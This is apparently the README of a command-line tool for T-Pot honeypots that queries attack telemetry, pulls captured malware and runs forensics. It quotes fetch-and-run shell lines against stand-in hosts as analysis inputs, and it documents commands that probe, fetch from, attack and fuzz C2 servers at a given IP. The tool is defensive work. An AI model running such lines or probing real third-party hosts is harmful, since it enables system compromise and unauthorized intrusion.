Operational CLI for T-Pot honeypots — query Elasticsearch, triage attacks, pull captured artifacts over SSH, and run integrated malware forensics from the terminal.
Built for incident responders and malware analysts who need fast, scriptable access to honeypot telemetry without opening Kibana for every task.
| Area | Capabilities |
|---|---|
| Telemetry | Dashboard stats, Cowrie commands, SSH sessions, Suricata alerts, raw ES search |
| Artifacts | List, browse, and pull samples from Elasticsearch and the T-Pot host via SFTP/SCP |
| Export | Combined JSON snapshots of files and commands for offline analysis |
| Live ops | Real-time dashboard with auto-scrolling file/command tables, optional auto-pull and auto-analyze |
| Forensics | Static analysis (ELF/PE), shell deobfuscation, IOC extraction, multi-stage dropper chains |
| C2 tooling | Host probing, payload fetch helpers, protocol fuzzing (lab use only) |
- Python 3.10+
- Network access to your T-Pot HTTPS gateway (default port 64297)
- SSH access to the T-Pot host for artifact pull (typically port 64295)
- Optional:
nmaponPATHfor C2 port scanning
git clone https://github.com/ThreatSoftware/ForensicPort.git
cd ForensicPort
python3 -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
pip install -e .Verify:
tpot --versionCredentials can be supplied via environment variables or a config file.
export TPOT_URL=https://192.168.0.54:64297
export TPOT_USER=administrator
export TPOT_PASSWORD='your-kibana-password'
# SSH (for file pull — often a different user than ES)
export TPOT_SSH_HOST=192.168.0.54
export TPOT_SSH_PORT=64295
export TPOT_SSH_USER=administrator
export TPOT_SSH_PASSWORD='your-ssh-password'
# Optional: exclude RFC1918 / lab traffic
export TPOT_EXTERNAL_ONLY=1tpot config init # interactive setup → ~/.config/tpot-cli/config.json
tpot config show
tpot config set url https://192.168.0.54:64297Note: Elasticsearch credentials (
TPOT_USER/TPOT_PASSWORD) are separate from SSH host credentials. Port 64297 is the HTTPS gateway (Kibana/ES), not SSH.
# Overview of honeypot activity (external attackers, last 7 days)
tpot stats --external --lookback 7d
# Flagged Cowrie commands (wget, reverse shells, encoded payloads, …)
tpot commands --interesting --external
# Pull a sample by SHA256
tpot files list
tpot files pull <sha256> -o ./samples
# Full malware pipeline on a sample or shell one-liner
tpot malware analyze ./samples/sample.bin --deep
tpot malware analyze 'curl -fsSL http://example/x.sh | bash'
# Live dashboard with auto-pull and analysis
tpot live watch --pull --analyze --interval 10 --external -o ./live| Command | Description |
|---|---|
tpot stats |
Honeypot volumes, top source IPs |
tpot ips |
Top attacker IPs or countries |
tpot commands |
Cowrie commands (--interesting, --top N) |
tpot sessions |
SSH login attempts (--success) |
tpot alerts |
Suricata alerts (--top, --cve) |
tpot search 'QUERY' |
Raw Elasticsearch query_string |
tpot export |
Combined files + commands JSON snapshot |
| Command | Description |
|---|---|
tpot files list |
Artifacts from ES (--ssh for host scan) |
tpot files browse |
Browse remote /data/cowrie/dl etc. |
tpot files pull HASH |
Download by SHA256 |
tpot files pull --pick |
Interactive multi-select pull |
| Command | Description |
|---|---|
tpot live stats |
One-shot snapshot |
tpot live watch |
Live dashboard — polls ES, scrolls files/commands (5 visible), optional --pull / --analyze |
Live watch flags: --interval SECS, --pull, --analyze, --no-clear, --no-poll-files, -o DIR
| Command | Description |
|---|---|
tpot malware analyze TARGET |
Deobfuscation, stages, IOCs, timeline (--deep for binaries) |
tpot malware deobfuscate CMD|FILE |
Shell deobfuscation with step trace |
tpot malware stages FILE|CMD |
Multi-stage dropper chain extraction |
tpot malware iocs FILE|CMD |
IPs, URLs, domains, paths, credentials |
tpot malware pull |
Pull recent ES artifacts and analyze |
tpot forensic FILE |
Static malware forensics (ELF/PE/strings) |
tpot analyst TEXT|FILE |
Universal shell/command analyst |
tpot analyze TARGET |
Full orchestrator pipeline on export dir or sample |
| Command | Description |
|---|---|
tpot c2 hunt IP |
Probe open ports, services, paths |
tpot c2 fetch IP |
Attempt payload retrieval |
tpot c2 attack IP [PORT] |
C2 interaction / fuzz |
tpot c2 fuzz IP PORT |
Protocol fuzzer |
| Flag | Description |
|---|---|
--lookback 7d |
Time window (24h, 7d, 30m, …) |
--external |
Exclude RFC1918 / loopback source IPs |
--json |
Machine-readable output |
-o DIR |
Output directory for exports and analysis |
--verify-tls |
Verify TLS certificate (off by default for self-signed T-Pot certs) |
Low-level modules under tpot_cli/forensics/ can also be invoked directly:
python -m tpot_cli.forensics.malware_forensics sample.bin
python -m tpot_cli.forensics.orchestrator export.json
python -m tpot_cli.forensics.stage_extractor sample.bin
python -m tpot_cli.forensics.ioc_extractor 'wget http://evil/x.sh'
python -m tpot_cli.forensics.c2_hunter 8.218.26.127tpot_cli/
├── tpot_cli/ # Main package
│ ├── __main__.py # CLI entry point
│ ├── es_client.py # Elasticsearch client
│ ├── ssh_client.py # SFTP/SCP artifact pull
│ ├── live_cmd.py # Live dashboard
│ ├── malware_cmd.py # Malware analysis commands
│ └── forensics/ # Analysis pipelines and extractors
├── pyproject.toml
├── LICENSE
└── README.md
- This tool is intended for defensive security, honeypot operations, and authorized malware analysis in isolated lab environments.
- Pulled artifacts may be live malware. Handle samples in a sandbox with appropriate controls.
- C2 interaction commands (
tpot c2 *) must only be used against infrastructure you own or have explicit permission to test. - Never commit credentials, pulled samples, or analysis output containing sensitive data to version control.
MIT License — Copyright (c) 2026 ForensicPort
- T-Pot Community Edition by Deutsche Telekom Security
- Built with Rich, Paramiko, and pyelftools